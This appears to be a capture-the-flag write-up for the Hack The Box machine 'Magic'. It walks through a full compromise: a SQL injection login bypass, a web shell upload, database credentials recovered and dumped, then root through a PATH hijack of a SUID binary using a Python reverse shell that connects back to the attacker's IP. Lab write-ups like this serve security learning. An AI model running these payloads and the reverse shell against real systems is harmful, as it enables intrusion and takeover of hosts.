Starting from Traceback machine, the flag is dynamic so writeup will public when the machine is retired.
┌─[laladee@parrot]─[~]
└──╼ $nmap -A 10.10.10.185
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-29 14:30 BST
Nmap scan report for 10.10.10.185
Host is up (0.27s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 06:d4:89:bf:51:f7:fc:0c:f9:08:5e:97:63:64:8d:ca (RSA)
| 256 11:a6:92:98:ce:35:40:c7:29:09:4f:6c:2d:74:aa:66 (ECDSA)
|_ 256 71:05:99:1f:a8:1b:14:d6:03:85:53:f8:78:8e:cb:88 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Magic Portfolio
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 78.91 seconds
open web host. and try login with sqli
http://10.10.10.185/login.php
username: admin
password: 'or'x'='x
I login successful, then we can upload image file
After few mins, I uploaded shell successfully (it has often been deleted)
passwd file:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
uuidd:x:105:111::/run/uuidd:/usr/sbin/nologin
avahi-autoipd:x:106:112:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
usbmux:x:107:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
dnsmasq:x:108:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
rtkit:x:109:114:RealtimeKit,,,:/proc:/usr/sbin/nologin
cups-pk-helper:x:110:116:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin
speech-dispatcher:x:111:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false
whoopsie:x:112:117::/nonexistent:/bin/false
kernoops:x:113:65534:Kernel Oops Tracking Daemon,,,:/:/usr/sbin/nologin
saned:x:114:119::/var/lib/saned:/usr/sbin/nologin
pulse:x:115:120:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
avahi:x:116:122:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
colord:x:117:123:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
hplip:x:118:7:HPLIP system user,,,:/var/run/hplip:/bin/false
geoclue:x:119:124::/var/lib/geoclue:/usr/sbin/nologin
gnome-initial-setup:x:120:65534::/run/gnome-initial-setup/:/bin/false
gdm:x:121:125:Gnome Display Manager:/var/lib/gdm3:/bin/false
theseus:x:1000:1000:Theseus,,,:/home/theseus:/bin/bash
sshd:x:123:65534::/run/sshd:/usr/sbin/nologin
mysql:x:122:127:MySQL Server,,,:/nonexistent:/bin/false
Go around and I found credentials of user named "theseus" in ../../db.php5
class Database
{
private static $dbName = 'Magic' ;
private static $dbHost = 'localhost' ;
private static $dbUsername = 'theseus';
private static $dbUserPassword = 'iamkingtheseus';
private static $cont = null;
public function __construct() {
die('Init function is not allowed');
}
public static function connect()
{
// One connection through whole application
if ( null == self::$cont )
{
try
{
self::$cont = new PDO( "mysql:host=".self::$dbHost.";"."dbname=".self::$dbName, self::$dbUsername, self::$dbUserPassword);
}
catch(PDOException $e)
{
die($e->getMessage());
}
}
return self::$cont;
}
public static function disconnect()
{
self::$cont = null;
}
}
</pre>
I tried login with theseus, and ssh but both fail. After trying some ways and got some hints...
I can see machine using mysql service from passwd file, so I checked database and dump it out
www-data@ubuntu:mysqldump -utheseus -piamkingtheseus Magic
-- MySQL dump 10.13 Distrib 5.7.29, for Linux (x86_64)
--
-- Host: localhost Database: Magic
-- ------------------------------------------------------
-- Server version 5.7.29-0ubuntu0.18.04.1
/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8 */;
/*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */;
/*!40103 SET TIME_ZONE='+00:00' */;
/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */;
/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;
/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */;
/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;
--
-- Table structure for table `login`
--
DROP TABLE IF EXISTS `login`;
/*!40101 SET @saved_cs_client = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `login` (
`id` int(6) NOT NULL AUTO_INCREMENT,
`username` varchar(50) NOT NULL,
`password` varchar(100) NOT NULL,
PRIMARY KEY (`id`),
UNIQUE KEY `username` (`username`)
) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;
--
-- Dumping data for table `login`
--
LOCK TABLES `login` WRITE;
/*!40000 ALTER TABLE `login` DISABLE KEYS */;
INSERT INTO `login` VALUES (1,'admin','Th3s3usW4sK1ng');
/*!40000 ALTER TABLE `login` ENABLE KEYS */;
UNLOCK TABLES;
/*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */;
/*!40101 SET SQL_MODE=@OLD_SQL_MODE */;
/*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */;
/*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */;
/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */;
-- Dump completed on 2020-04-29 8:52:28
so I got a new credential: 'admin','Th3s3usW4sK1ng'
I tried switch user to admin but there show nothing, tried around then I can access user "theseus" and admin's pass
www-data@ubuntu: cd /
www-data@ubuntu:/$ python3 -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@ubuntu:/$ su - theseus
su - theseus
Password: Th3s3usW4sK1ng
theseus@ubuntu:~$ ls
ls
Desktop Downloads Pictures Templates Videos
Documents Music Public user.txt
theseus@ubuntu:~$ cat user.txt
cat user.txt
d7f59901cf48e90bc3d4ead758b82f48
Getting root
theseus@ubuntu:~$ find / -perm -4000 -ls 2>/dev/null
find / -perm -4000 -ls 2>/dev/null
1052353 376 -rwsr-xr-- 1 root dip 382696 Feb 11 07:05 /usr/sbin/pppd
924805 40 -rwsr-xr-x 1 root root 40344 Mar 22 2019 /usr/bin/newgrp
924863 60 -rwsr-xr-x 1 root root 59640 Mar 22 2019 /usr/bin/passwd
924178 76 -rwsr-xr-x 1 root root 76496 Mar 22 2019 /usr/bin/chfn
924437 76 -rwsr-xr-x 1 root root 75824 Mar 22 2019 /usr/bin/gpasswd
923568 148 -rwsr-xr-x 1 root root 149080 Jan 31 09:18 /usr/bin/sudo
924969 24 -rwsr-xr-x 1 root root 22520 Mar 27 2019 /usr/bin/pkexec
924180 44 -rwsr-xr-x 1 root root 44528 Mar 22 2019 /usr/bin/chsh
925362 20 -rwsr-xr-x 1 root root 18448 Jun 28 2019 /usr/bin/traceroute6.iputils
924102 24 -rwsr-xr-x 1 root root 22528 Jun 28 2019 /usr/bin/arping
917602 12 -rwsr-xr-x 1 root root 10312 Dec 9 02:03 /usr/bin/vmware-user-suid-wrapper
1185246 428 -rwsr-xr-x 1 root root 436552 Mar 4 2019 /usr/lib/openssh/ssh-keysign
1180509 44 -rwsr-xr-- 1 root messagebus 42992 Jun 10 2019 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
1185286 16 -rwsr-xr-x 1 root root 14328 Mar 27 2019 /usr/lib/policykit-1/polkit-agent-helper-1
1180812 12 -rwsr-xr-x 1 root root 10232 Mar 27 2017 /usr/lib/eject/dmcrypt-get-device
1195335 12 -rwsr-sr-x 1 root root 10232 Dec 18 00:15 /usr/lib/xorg/Xorg.wrap
1189577 108 -rwsr-sr-x 1 root root 109432 Oct 30 2019 /usr/lib/snapd/snap-confine
55 43 -rwsr-xr-x 1 root root 43088 Aug 22 2019 /snap/core18/1223/bin/mount
64 63 -rwsr-xr-x 1 root root 64424 Jun 28 2019 /snap/core18/1223/bin/ping
80 44 -rwsr-xr-x 1 root root 44664 Mar 22 2019 /snap/core18/1223/bin/su
98 27 -rwsr-xr-x 1 root root 26696 Aug 22 2019 /snap/core18/1223/bin/umount
1730 75 -rwsr-xr-x 1 root root 76496 Mar 22 2019 /snap/core18/1223/usr/bin/chfn
1732 44 -rwsr-xr-x 1 root root 44528 Mar 22 2019 /snap/core18/1223/usr/bin/chsh
1782 75 -rwsr-xr-x 1 root root 75824 Mar 22 2019 /snap/core18/1223/usr/bin/gpasswd
1846 40 -rwsr-xr-x 1 root root 40344 Mar 22 2019 /snap/core18/1223/usr/bin/newgrp
1858 59 -rwsr-xr-x 1 root root 59640 Mar 22 2019 /snap/core18/1223/usr/bin/passwd
1949 146 -rwsr-xr-x 1 root root 149080 Jan 17 2018 /snap/core18/1223/usr/bin/sudo
2036 42 -rwsr-xr-- 1 root systemd-resolve 42992 Jun 10 2019 /snap/core18/1223/usr/lib/dbus-1.0/dbus-daemon-launch-helper
2344 427 -rwsr-xr-x 1 root root 436552 Mar 4 2019 /snap/core18/1223/usr/lib/openssh/ssh-keysign
55 43 -rwsr-xr-x 1 root root 43088 Aug 22 2019 /snap/core18/1668/bin/mount
64 63 -rwsr-xr-x 1 root root 64424 Jun 28 2019 /snap/core18/1668/bin/ping
80 44 -rwsr-xr-x 1 root root 44664 Mar 22 2019 /snap/core18/1668/bin/su
98 27 -rwsr-xr-x 1 root root 26696 Aug 22 2019 /snap/core18/1668/bin/umount
1730 75 -rwsr-xr-x 1 root root 76496 Mar 22 2019 /snap/core18/1668/usr/bin/chfn
1732 44 -rwsr-xr-x 1 root root 44528 Mar 22 2019 /snap/core18/1668/usr/bin/chsh
1782 75 -rwsr-xr-x 1 root root 75824 Mar 22 2019 /snap/core18/1668/usr/bin/gpasswd
1846 40 -rwsr-xr-x 1 root root 40344 Mar 22 2019 /snap/core18/1668/usr/bin/newgrp
1858 59 -rwsr-xr-x 1 root root 59640 Mar 22 2019 /snap/core18/1668/usr/bin/passwd
1949 146 -rwsr-xr-x 1 root root 149080 Oct 10 2019 /snap/core18/1668/usr/bin/sudo
2036 42 -rwsr-xr-- 1 root systemd-resolve 42992 Jun 10 2019 /snap/core18/1668/usr/lib/dbus-1.0/dbus-daemon-launch-helper
2344 427 -rwsr-xr-x 1 root root 436552 Mar 4 2019 /snap/core18/1668/usr/lib/openssh/ssh-keysign
66 40 -rwsr-xr-x 1 root root 40152 Jan 27 06:28 /snap/core/8689/bin/mount
80 44 -rwsr-xr-x 1 root root 44168 May 7 2014 /snap/core/8689/bin/ping
81 44 -rwsr-xr-x 1 root root 44680 May 7 2014 /snap/core/8689/bin/ping6
98 40 -rwsr-xr-x 1 root root 40128 Mar 25 2019 /snap/core/8689/bin/su
116 27 -rwsr-xr-x 1 root root 27608 Jan 27 06:28 /snap/core/8689/bin/umount
2666 71 -rwsr-xr-x 1 root root 71824 Mar 25 2019 /snap/core/8689/usr/bin/chfn
2668 40 -rwsr-xr-x 1 root root 40432 Mar 25 2019 /snap/core/8689/usr/bin/chsh
2744 74 -rwsr-xr-x 1 root root 75304 Mar 25 2019 /snap/core/8689/usr/bin/gpasswd
2836 39 -rwsr-xr-x 1 root root 39904 Mar 25 2019 /snap/core/8689/usr/bin/newgrp
2849 53 -rwsr-xr-x 1 root root 54256 Mar 25 2019 /snap/core/8689/usr/bin/passwd
2959 134 -rwsr-xr-x 1 root root 136808 Jan 31 10:37 /snap/core/8689/usr/bin/sudo
3058 42 -rwsr-xr-- 1 root systemd-resolve 42992 Nov 29 04:40 /snap/core/8689/usr/lib/dbus-1.0/dbus-daemon-launch-helper
3428 419 -rwsr-xr-x 1 root root 428240 Mar 4 2019 /snap/core/8689/usr/lib/openssh/ssh-keysign
6466 105 -rwsr-sr-x 1 root root 106696 Feb 12 08:34 /snap/core/8689/usr/lib/snapd/snap-confine
7640 386 -rwsr-xr-- 1 root dip 394984 Jun 12 2018 /snap/core/8689/usr/sbin/pppd
66 40 -rwsr-xr-x 1 root root 40152 Aug 23 2019 /snap/core/7917/bin/mount
80 44 -rwsr-xr-x 1 root root 44168 May 7 2014 /snap/core/7917/bin/ping
81 44 -rwsr-xr-x 1 root root 44680 May 7 2014 /snap/core/7917/bin/ping6
98 40 -rwsr-xr-x 1 root root 40128 Mar 25 2019 /snap/core/7917/bin/su
116 27 -rwsr-xr-x 1 root root 27608 Aug 23 2019 /snap/core/7917/bin/umount
2657 71 -rwsr-xr-x 1 root root 71824 Mar 25 2019 /snap/core/7917/usr/bin/chfn
2659 40 -rwsr-xr-x 1 root root 40432 Mar 25 2019 /snap/core/7917/usr/bin/chsh
2735 74 -rwsr-xr-x 1 root root 75304 Mar 25 2019 /snap/core/7917/usr/bin/gpasswd
2827 39 -rwsr-xr-x 1 root root 39904 Mar 25 2019 /snap/core/7917/usr/bin/newgrp
2840 53 -rwsr-xr-x 1 root root 54256 Mar 25 2019 /snap/core/7917/usr/bin/passwd
2950 134 -rwsr-xr-x 1 root root 136808 Jun 10 2019 /snap/core/7917/usr/bin/sudo
3049 42 -rwsr-xr-- 1 root systemd-resolve 42992 Jun 10 2019 /snap/core/7917/usr/lib/dbus-1.0/dbus-daemon-launch-helper
3419 419 -rwsr-xr-x 1 root root 428240 Mar 4 2019 /snap/core/7917/usr/lib/openssh/ssh-keysign
6454 105 -rwsr-sr-x 1 root root 106696 Oct 1 2019 /snap/core/7917/usr/lib/snapd/snap-confine
7628 386 -rwsr-xr-- 1 root dip 394984 Jun 12 2018 /snap/core/7917/usr/sbin/pppd
131127 28 -rwsr-xr-x 1 root root 26696 Jan 8 10:31 /bin/umount
131130 32 -rwsr-xr-x 1 root root 30800 Aug 11 2016 /bin/fusermount
393232 24 -rwsr-x--- 1 root users 22040 Oct 21 2019 /bin/sysinfo
131123 44 -rwsr-xr-x 1 root root 43088 Jan 8 10:31 /bin/mount
131231 44 -rwsr-xr-x 1 root root 44664 Mar 22 2019 /bin/su
131203 64 -rwsr-xr-x 1 root root 64424 Jun 28 2019 /bin/ping
I noticed that /bin/sysinfo can execute as root and users
After some hints. I got this: https://www.hackingarticles.in/linux-privilege-escalation-using-path-variable/
Read /bin/sysinfo, I can see the sysinfo run a command "fdisk -l" - our target
machine use python3, so I made a reverse shell named "fdisk" in my attack machine:
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.81",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
create host
┌─[laladee@parrot]─[~/Downloads/RevShell]
└──╼ $python -m SimpleHTTPServer 1337
Serving HTTP on 0.0.0.0 port 1337 ...
10.10.10.185 - - [30/Apr/2020 16:37:48] "GET /fdisk HTTP/1.1" 200 -
theseus@ubuntu:/tmp$ wget http://10.10.14.81:1337/fdisk
theseus@ubuntu:/tmp$ which fdisk
which fdisk
/sbin/fdisk
theseus@ubuntu:/tmp$ touch fdisk
touch fdisk
theseus@ubuntu:/tmp$ export PATH=/tmp:$PATH
export PATH=/tmp:$PATH
theseus@ubuntu:/tmp$ which fdisk
which fdisk
/sbin/fdisk
theseus@ubuntu:/tmp$ chmod 755 fdisk
chmod 755 fdisk
theseus@ubuntu:/tmp$ which fdisk
which fdisk
/tmp/fdisk
listen....
┌─[✗]─[laladee@parrot]─[~/Downloads/RevShell]
└──╼ $nc -lvp 5555
listening on [any] 5555 ...
theseus@ubuntu:/tmp$ sysinfo
then we got root!!
┌─[✗]─[laladee@parrot]─[~/Downloads/RevShell]
└──╼ $nc -lvp 5555
listening on [any] 5555 ...
10.10.10.185: inverse host lookup failed: Unknown host
connect to [10.10.14.81] from (UNKNOWN) [10.10.10.185] 45426
root@ubuntu:/tmp# id
id
uid=0(root) gid=0(root) groups=0(root),100(users),1000(theseus)
root@ubuntu:/tmp# cd
cd
root@ubuntu:~# cd /root
cd /root
root@ubuntu:/root# cat root.txt
cat root.txt
b3fc3d1750e33cfe35a3ad9c37273956
root@ubuntu:/root# exit
exit
